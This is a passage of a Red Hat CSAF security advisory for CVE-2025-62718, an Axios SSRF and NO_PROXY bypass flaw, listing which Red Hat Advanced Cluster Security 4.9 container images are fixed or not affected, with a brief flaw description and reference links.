"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-62718",
"cwe": {
"id": "CWE-1289",
"name": "Improper Validation of Unsafe Equivalence in Input"
},
"discovery_date": "2026-04-09T15:01:48.111177+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456913"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not correctly handle hostname normalization when evaluating NO_PROXY rules. An attacker can exploit this by crafting requests to loopback addresses (e.g., localhost. or [::1]) which bypass the NO_PROXY configuration and are routed through the configured proxy. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, enabling attackers to access sensitive internal or loopback services that should otherwise be protected.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw has limited impact due to combination of non-default conditions to exploit: the attacker must be able to control or influence URLs passed to axios in a server-side context, the application must have both `HTTP_PROXY` and `NO_PROXY` configured, and the proxy itself must be positioned to act on the misdirected traffic or have been compromised by the attacker to intercept the rerouted traffic.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-62718"
},
{
"category": "external",
"summary": "RHBZ#2456913",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456913"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718",
